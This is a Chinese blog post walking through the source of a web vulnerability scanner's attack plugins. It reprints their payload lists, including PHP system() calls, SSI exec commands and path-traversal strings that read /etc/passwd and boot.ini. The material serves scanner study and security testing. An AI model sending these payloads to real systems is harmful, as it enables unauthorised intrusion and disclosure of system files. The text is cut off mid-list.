<p>主文件的入口：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> int(scan) == <span class="number">5</span>:</div><div class="line">	省略</div><div class="line">	<span class="keyword">for</span> u <span class="keyword">in</span> Crawler().run(kwargs,url,kwargs[<span class="string">'data'</span>]):</div></pre></td></tr></table></figure></p>
<h2 id="完整扫描：-lib-handler-fullscan-py"><a href="#完整扫描：-lib-handler-fullscan-py" class="headerlink" title="完整扫描： lib/handler/fullscan.py"></a>完整扫描： lib/handler/fullscan.py</h2><p>实际代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">FullScan</span><span class="params">(kwargs,url,data)</span>:</span></div><div class="line">	info(<span class="string">'Starting full scan...'</span>)</div><div class="line">	<span class="keyword">if</span> <span class="string">'?'</span> <span class="keyword">in</span> url:</div><div class="line">		Attacks(kwargs,url,data)</div><div class="line">	Disclosure(kwargs,url,data)</div></pre></td></tr></table></figure></p>
<p>主文件入口：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> int(scan) == <span class="number">5</span>:</div><div class="line">	省略</div><div class="line">	<span class="keyword">for</span> u <span class="keyword">in</span> Crawler().run(kwargs,url,kwargs[<span class="string">'data'</span>]):</div><div class="line">		省略</div><div class="line">		<span class="keyword">if</span> type(u[<span class="number">0</span>]) <span class="keyword">is</span> tuple:</div><div class="line">			省略</div><div class="line">			FullScan(kwargs,u[<span class="number">0</span>],kwargs[<span class="string">'data'</span>])</div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			FullScan(kwargs,u,kwargs[<span class="string">'data'</span>])</div></pre></td></tr></table></figure></p>
<p>所以综上，<code>fullscan</code>模式的整体流程如下：</p>
<ol>
<li><code>Fingerprint()</code> </li>
<li><code>Crawler()</code> </li>
<li><code>FullScan()</code> <ol>
<li><code>Attacks()</code></li>
<li><code>Disclosure()</code></li>
</ol>
</li>
<li><code>Audit()</code></li>
<li><code>Brute()</code></li>
</ol>
<h1 id="lib-db-文件夹"><a href="#lib-db-文件夹" class="headerlink" title="lib/db 文件夹"></a>lib/db 文件夹</h1><p>整合各种字典。先略过。</p>
<h1 id="plugins-attacks"><a href="#plugins-attacks" class="headerlink" title="plugins/attacks"></a>plugins/attacks</h1><h2 id="plugins-attacks-htmli-py"><a href="#plugins-attacks-htmli-py" class="headerlink" title="plugins/attacks/htmli.py"></a>plugins/attacks/htmli.py</h2><p>检查HTML代码注入。思路即：在参数值中添加进html代码，然后检查返回的响应，直接用<code>search(payload,req.content)</code> 来看能否检测到相应的模式，。若存在则保存<code>URL</code>、<code>DATA</code>、<code>PAYLOAD</code>,然后输出。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">htmli</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">""" Html Code Injection """</span></div><div class="line">	get = <span class="string">"GET"</span></div><div class="line">	post = <span class="string">"POST"</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.url = url </div><div class="line">		self.data = data</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Run """</span></div><div class="line">		info(<span class="string">'Checking HTML Injection...'</span>)</div><div class="line">		URL = <span class="keyword">None</span></div><div class="line">		DATA = <span class="keyword">None</span></div><div class="line">		PAYLOAD = <span class="keyword">None</span></div><div class="line">		<span class="comment"># start</span></div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> html():</div><div class="line">			<span class="comment"># post method</span></div><div class="line">			<span class="keyword">if</span> self.data:</div><div class="line">				<span class="comment"># data add payload</span></div><div class="line">				addPayload = padd(self.url,payload,self.data)</div><div class="line">				<span class="keyword">for</span> data <span class="keyword">in</span> addPayload.run():</div><div class="line">					<span class="comment"># send request</span></div><div class="line">					req = self.Send(url=self.url,method=self.post,data=data)</div><div class="line">					<span class="comment"># search payload in response content</span></div><div class="line">					<span class="keyword">if</span> search(payload,req.content):</div><div class="line">						URL = req.url </div><div class="line">						DATA = data </div><div class="line">						PAYLOAD = payload</div><div class="line">						<span class="keyword">break</span></div><div class="line">			<span class="comment"># get method</span></div><div class="line">			<span class="keyword">else</span>:</div><div class="line">				<span class="comment"># url and payload</span></div><div class="line">				urls = padd(self.url,payload,<span class="keyword">None</span>)</div><div class="line">				<span class="keyword">for</span> url <span class="keyword">in</span> urls.run():</div><div class="line">					<span class="comment"># send request</span></div><div class="line">					req = self.Send(url=url,method=self.get)</div><div class="line">					<span class="comment"># search payload in response content</span></div><div class="line">					<span class="keyword">if</span> search(payload,req.content):</div><div class="line">						URL = url</div><div class="line">						PAYLOAD = payload</div><div class="line">						<span class="keyword">break</span></div><div class="line">			<span class="comment"># break if URL and PAYLOAD not empt</span></div><div class="line">			<span class="keyword">if</span> URL <span class="keyword">and</span> PAYLOAD:</div><div class="line">				<span class="comment"># print</span></div><div class="line">				<span class="keyword">if</span> DATA != <span class="keyword">None</span>:</div><div class="line">					plus(<span class="string">"A potential \"HTML Code Injection\" was found at:"</span>)</div><div class="line">					more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">					more(<span class="string">"POST DATA: &#123;&#125;"</span>.format(DATA))</div><div class="line">					more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">				<span class="keyword">elif</span> DATA == <span class="keyword">None</span>:</div><div class="line">					plus(<span class="string">"A potential \"HTML Code Injection\" was found at:"</span>)</div><div class="line">					more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">					more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">				<span class="comment"># break</span></div><div class="line">				<span class="keyword">break</span></div></pre></td></tr></table></figure>
<h2 id="plugins-attacks-phpi-py"><a href="#plugins-attacks-phpi-py" class="headerlink" title="plugins/attacks/phpi.py"></a>plugins/attacks/phpi.py</h2><p>检查PHP代码注入。采用的是 <code>system(&quot;cat /etc/passwd&quot;)</code>类似的payload来检测在返回的响应中匹配的是 <code>root: /bin/bash</code>字符串，或者通过<code>system(&quot;echo&quot;)</code>输出随机字符串来匹配。个人看法，<code>system</code>在许多情况下都是被禁用的，因此通过<code>system</code>来检测成功率估计不高。另外<code>/etc/passwd</code>只存在UNIX系统上，win需要其他方式来检查。如果用<code>phpinfo()</code>可能会更好。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">phpi</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">""" PHP Code Injection """</span></div><div class="line">	get = <span class="string">"GET"</span></div><div class="line">	post = <span class="string">"POST"</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.url = url </div><div class="line">		self.data = data</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Run """</span></div><div class="line">		info(<span class="string">'Checking PHP Code Injection...'</span>)</div><div class="line">		URL = <span class="keyword">None</span></div><div class="line">		DATA = <span class="keyword">None</span></div><div class="line">		PAYLOAD = <span class="keyword">None</span></div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> php():</div><div class="line">			<span class="comment"># post method</span></div><div class="line">			<span class="keyword">if</span> self.data:</div><div class="line">				<span class="comment"># data add payload</span></div><div class="line">				rPayload = preplace(self.url,payload,self.data)</div><div class="line">				<span class="keyword">for</span> data <span class="keyword">in</span> rPayload.run():</div><div class="line">					<span class="comment"># split payload</span></div><div class="line">					<span class="keyword">if</span> <span class="string">"\""</span> <span class="keyword">in</span> payload:</div><div class="line">						payload = payload.split(<span class="string">'"'</span>)[<span class="number">1</span>]</div><div class="line">					<span class="comment"># send request</span></div><div class="line">					req = self.Send(url=self.url,method=self.post,data=data)</div><div class="line">					<span class="comment"># search payload in req.content</span></div><div class="line">					<span class="comment"># payload采用的是 system("cat /etc/passwd")</span></div><div class="line">					<span class="comment"># 因此匹配的是 root: /bin/bash</span></div><div class="line">					<span class="keyword">if</span> search(<span class="string">r"root\:\/bin\/bash|"</span>+payload,req.content):</div><div class="line">						URL = req.url </div><div class="line">						DATA = data </div><div class="line">						PAYLOAD = payload</div><div class="line">						<span class="keyword">break</span></div><div class="line">			<span class="comment"># get method</span></div><div class="line">			<span class="keyword">else</span>:</div><div class="line">				<span class="comment"># url query add payload</span></div><div class="line">				urls = preplace(self.url,payload,<span class="keyword">None</span>)</div><div class="line">				<span class="keyword">for</span> url <span class="keyword">in</span> urls.run():</div><div class="line">						<span class="comment"># split payload</span></div><div class="line">						<span class="keyword">if</span> <span class="string">"\""</span> <span class="keyword">in</span> payload:</div><div class="line">							payload = payload.split(<span class="string">'"'</span>)[<span class="number">1</span>]</div><div class="line">						<span class="comment"># send request </span></div><div class="line">						req = self.Send(url=url,method=self.get)</div><div class="line">						<span class="comment"># search payload in req.content</span></div><div class="line">						<span class="keyword">if</span> search(<span class="string">r"root\:\/bin\/bash|"</span>+payload,req.content):</div><div class="line">							URL = url</div><div class="line">							PAYLOAD = payload</div><div class="line">							<span class="keyword">break</span></div><div class="line">				<span class="comment"># if URL and PAYLOAD not empty </span></div><div class="line">				<span class="keyword">if</span> URL <span class="keyword">and</span> PAYLOAD:</div><div class="line">					<span class="comment"># print </span></div><div class="line">					<span class="keyword">if</span> DATA != <span class="keyword">None</span>:</div><div class="line">						plus(<span class="string">"A potential \"PHP Code Injection\" was found at:"</span>)</div><div class="line">						more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">						more(<span class="string">"POST DATA: &#123;&#125;"</span>.format(DATA))</div><div class="line">						more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">					<span class="keyword">elif</span> DATA == <span class="keyword">None</span>:</div><div class="line">						plus(<span class="string">"A potential \"PHP Code Injection\" was found at:"</span>)</div><div class="line">						more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">						more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">					<span class="comment"># break</span></div><div class="line">					<span class="keyword">break</span></div></pre></td></tr></table></figure>
<p>对应的payload 在 lib/utils/payload.py:68 ：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># php代码注入</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">php</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" PHP Code Injection """</span></div><div class="line">	payload = [<span class="string">"system('/bin/echo%20\""</span>+r_string(<span class="number">30</span>)+<span class="string">"\"')"</span>]</div><div class="line">	payload += [<span class="string">"system('/bin/cat%20/etc/passwd')"</span>]</div><div class="line">	payload += [<span class="string">"system('echo\""</span>+r_string(<span class="number">30</span>)+<span class="string">"\"')"</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-ssi-py"><a href="#plugins-attacks-ssi-py" class="headerlink" title="plugins/attacks/ssi.py"></a>plugins/attacks/ssi.py</h2><p>因为这个情况往往存在UNIX系统中，win一般不存在该漏洞。所以payload中只尝试读取<code>/etc/passwd</code>，然后检测响应。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">ssi</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">""" Server Side Injection """</span></div><div class="line">	get = <span class="string">"GET"</span></div><div class="line">	post = <span class="string">"POST"</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.url = url </div><div class="line">		self.data = data</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Run """</span></div><div class="line">		info(<span class="string">'Checking Server Side Injection...'</span>)</div><div class="line">		URL = <span class="keyword">None</span></div><div class="line">		DATA = <span class="keyword">None</span></div><div class="line">		PAYLOAD = <span class="keyword">None</span></div><div class="line">		<span class="comment"># start</span></div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> ssip():</div><div class="line">			<span class="comment"># post method</span></div><div class="line">			<span class="keyword">if</span> self.data:</div><div class="line">				<span class="comment"># data add payload</span></div><div class="line">				addPayload = padd(self.url,payload,self.data)</div><div class="line">				<span class="keyword">for</span> data <span class="keyword">in</span> addPayload.run():</div><div class="line">					<span class="comment"># send request</span></div><div class="line">					req = self.Send(url=self.url,method=self.post,data=data)</div><div class="line">					<span class="comment"># search payload in response content</span></div><div class="line">					<span class="keyword">if</span> search(<span class="string">r'root:/bin/[bash|sh]'</span>,req.content):</div><div class="line">						URL = req.url </div><div class="line">						DATA = data </div><div class="line">						PAYLOAD = payload</div><div class="line">						<span class="keyword">break</span></div><div class="line">			<span class="comment"># get method</span></div><div class="line">			<span class="keyword">else</span>:</div><div class="line">				<span class="comment"># url and payload</span></div><div class="line">				urls = padd(self.url,payload,<span class="keyword">None</span>)</div><div class="line">				<span class="keyword">for</span> url <span class="keyword">in</span> urls.run():</div><div class="line">					<span class="comment"># send request</span></div><div class="line">					req = self.Send(url=url,method=self.get)</div><div class="line">					<span class="comment"># search payload in response content</span></div><div class="line">					<span class="keyword">if</span> search(<span class="string">r'root:/bin/[bash|sh]'</span>,req.content):</div><div class="line">						URL = url</div><div class="line">						PAYLOAD = payload</div><div class="line">						<span class="keyword">break</span></div><div class="line">			<span class="comment"># break if URL and PAYLOAD not empty</span></div><div class="line">			<span class="keyword">if</span> URL <span class="keyword">and</span> PAYLOAD:</div><div class="line">				<span class="comment"># print</span></div><div class="line">				<span class="keyword">if</span> DATA != <span class="keyword">None</span>:</div><div class="line">					plus(<span class="string">"A potential \"Server Side Injection\" was found at:"</span>)</div><div class="line">					more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">					more(<span class="string">"POST DATA: &#123;&#125;"</span>.format(DATA))</div><div class="line">					more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">				<span class="keyword">elif</span> DATA == <span class="keyword">None</span>:</div><div class="line">					plus(<span class="string">"A potential \"Server Side Injection\" was found at:"</span>)</div><div class="line">					more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">					more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">				<span class="comment"># break</span></div><div class="line">				<span class="keyword">break</span></div></pre></td></tr></table></figure>
<p>对应payload：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">ssip</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Server Side Injection """</span></div><div class="line">	payload  = [<span class="string">'&lt;pre&gt;&lt;!--#exec cmd="/etc/passwd" --&gt;&lt;/pre&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;pre&gt;&lt;!--#exec cmd="/bin/cat /etc/passwd" --&gt;&lt;/pre&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;pre&gt;&lt;!--#exec cmd="/bi*/ca? /et*/passw?" --&gt;&lt;/pre&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;!--#exec cmd="/etc/passwd" --&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;!--#exec cmd="/et*/pa??w?" --&gt;'</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-bufferoverflow-py"><a href="#plugins-attacks-bufferoverflow-py" class="headerlink" title="plugins/attacks/bufferoverflow.py"></a>plugins/attacks/bufferoverflow.py</h2><p>溢出bufferoverflow的payload没有在<code>lib/utils/payload.py</code>中出现，而是直接定义在了这里。几种可能的字符，然后三种可能的长度，发包检测响应。这里的<code>serror</code>需要匹配的模式(lib/db/errors/buffer.json)如下：<br><figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">&#123;</div><div class="line">    "info":&#123;</div><div class="line">        "name":"BOF",</div><div class="line">        "regexp":[</div><div class="line">            "\*\*\* stack smashing detected \*\*\*:",</div><div class="line">            "\&lt;html\&gt;\&lt;head\&gt;</div><div class="line">\&lt;title\&gt;500 Internal Server Error\&lt;\/title\&gt;</div><div class="line">",</div><div class="line">            "Internal Server Error\&lt;\/h1\&gt;"</div><div class="line">        ]</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>bufferoverflow.py<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">bufferoverflow</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">""" Buffer Overflow """</span></div><div class="line">	get = <span class="string">"GET"</span></div><div class="line">	post = <span class="string">"POST"</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.url = url </div><div class="line">		self.data = data</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">serror</span><span class="params">(self,resp)</span>:</span></div><div class="line">		<span class="string">""" Return error """</span></div><div class="line">		_ = <span class="keyword">None</span></div><div class="line">		realpath = path.join(path.realpath(__file__).split(<span class="string">'plugins'</span>)[<span class="number">0</span>],<span class="string">'lib/db/errors'</span>)</div><div class="line">		abspath = realpath+<span class="string">"/"</span>+<span class="string">"buffer.json"</span></div><div class="line">		_ = self.search(resp,json.loads(readfile(abspath)[<span class="number">0</span>],encoding=<span class="string">"utf-8"</span>))</div><div class="line">		<span class="keyword">if</span> _ != <span class="keyword">None</span>: <span class="keyword">return</span> _</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">search</span><span class="params">(self,resp,content)</span>:</span></div><div class="line">		<span class="string">""" Search error in response """</span></div><div class="line">		<span class="keyword">for</span> error <span class="keyword">in</span> content[<span class="string">'info'</span>][<span class="string">'regexp'</span>]:</div><div class="line">			<span class="keyword">if</span> search(error,resp):</div><div class="line">				_ = content[<span class="string">'info'</span>][<span class="string">'name'</span>]</div><div class="line">				<span class="keyword">return</span> _</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Run """</span></div><div class="line">		info(<span class="string">'Checking Buffer OverFlow...'</span>)</div><div class="line">		URL = <span class="keyword">None</span></div><div class="line">		DATA = <span class="keyword">None</span></div><div class="line">		PAYLOAD = <span class="keyword">None</span></div><div class="line">		<span class="comment"># potential char caused buffer overflow</span></div><div class="line">		char = [<span class="string">"A"</span>,<span class="string">"%00"</span>,<span class="string">"%06x"</span>,<span class="string">"0x0"</span>]</div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> char:</div><div class="line">			<span class="comment"># payload * num</span></div><div class="line">			<span class="keyword">for</span> num <span class="keyword">in</span> [<span class="number">10</span>,<span class="number">100</span>,<span class="number">200</span>]:</div><div class="line">				<span class="comment"># post method</span></div><div class="line">				<span class="keyword">if</span> self.data:</div><div class="line">					<span class="comment"># replace params with payload</span></div><div class="line">					rPayload = preplace(self.url,(payload*num),self.data)</div><div class="line">					<span class="keyword">for</span> data <span class="keyword">in</span> rPayload.run():</div><div class="line">						<span class="comment"># send request</span></div><div class="line">						req = self.Send(url=self.url,method=self.post,data=data)</div><div class="line">						<span class="comment"># search errors</span></div><div class="line">						error = self.serror(req.content)</div><div class="line">						<span class="keyword">if</span> error:</div><div class="line">							URL = req.url </div><div class="line">							DATA = self.data </div><div class="line">							PAYLOAD = <span class="string">"&#123;&#125; * &#123;&#125;"</span>.format(payload,num)</div><div class="line">							<span class="keyword">break</span></div><div class="line">				<span class="comment"># get method</span></div><div class="line">				<span class="keyword">else</span>:</div><div class="line">					urls = preplace(self.url,(payload*num),<span class="keyword">None</span>)</div><div class="line">					<span class="keyword">for</span> url <span class="keyword">in</span> urls.run():</div><div class="line">						<span class="comment"># send request</span></div><div class="line">						req = self.Send(url=url,method=self.get)</div><div class="line">						<span class="comment"># search errors</span></div><div class="line">						error = self.serror(req.content)</div><div class="line">						<span class="keyword">if</span> error:</div><div class="line">							URL = url</div><div class="line">							PAYLOAD = <span class="string">"&#123;&#125; * &#123;&#125;"</span>.format(payload,num)</div><div class="line">							<span class="keyword">break</span> </div><div class="line">				<span class="comment"># break if URL and PAYLOAD not empty</span></div><div class="line">				<span class="keyword">if</span> URL <span class="keyword">and</span> PAYLOAD:</div><div class="line">					<span class="comment"># print</span></div><div class="line">					<span class="keyword">if</span> DATA != <span class="keyword">None</span>:</div><div class="line">						plus(<span class="string">"A potential \"Buffer Overflow\" was found at:"</span>)</div><div class="line">						more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">						more(<span class="string">"POST DATA: &#123;&#125;"</span>.format(DATA))</div><div class="line">						more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">					<span class="keyword">elif</span> DATA == <span class="keyword">None</span>:</div><div class="line">						plus(<span class="string">"A potential \"Buffer Overflow\" was found at:"</span>)</div><div class="line">						more(<span class="string">"URL: &#123;&#125;"</span>.format(URL))</div><div class="line">						more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(PAYLOAD))</div><div class="line">					<span class="keyword">break</span></div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-lfi-py"><a href="#plugins-attacks-lfi-py" class="headerlink" title="plugins/attacks/lfi.py"></a>plugins/attacks/lfi.py</h2><p>代码结构和 bufferoverflow.py 大致相同。</p>
<p>真正的payload 在 lib/utils/payload.py:137：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">plfi</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Local file Inclusion """</span></div><div class="line">	payload = [<span class="string">"/etc/passwd%00"</span>]</div><div class="line">	payload += [<span class="string">"/etc/passwd"</span>]</div><div class="line">	payload += [<span class="string">"etc/passwd"</span>]</div><div class="line">	payload += [<span class="string">"%00../../../../../../etc/passwd"</span>]</div><div class="line">	payload += [<span class="string">"%00../etc/passwd%00"</span>]</div><div class="line">	payload += [<span class="string">"/./././././././././././boot.ini"</span>]</div><div class="line">	payload += [<span class="string">r"/..\../..\../..\../..\../..\../..\../boot.ini"</span>]</div><div class="line">	payload += [<span class="string">"..//..//..//..//..//boot.ini"</span>]</div><div class="line">	payload += [<span class="string">"../../boot.ini"</span>]</div><div class="line">	payload += [<span class="string">"/../../../../../../../../../../../boot.ini%00"</span>]</div><div class="line">	payload += [<span class="string">"/../../../../../../../../../../../boot.ini%00.html"</span>]</div><div class="line">	payload += [<span class="string">"C:/boot.ini"</span>]</div><div class="line">	payload += [<span class="string">"/../../../../../../../../../../etc/passwd^^"</span>]</div><div class="line">	payload += [<span class="string">r"/..\../..\../..\../..\../..\../..\../etc/passwd"</span>]</div><div class="line">	payload += [<span class="string">r"..\..\..\..\..\..\..\..\..\..\etc\passwd%"</span>]</div><div class="line">	payload += [<span class="string">"../../../../../../../../../../../../localstart.asp"</span>]</div><div class="line">	payload += [<span class="string">"index.php"</span>]</div><div class="line">	payload += [<span class="string">"../index.php"</span>]</div><div class="line">	payload += [<span class="string">"index.asp"</span>]</div><div class="line">	payload += [<span 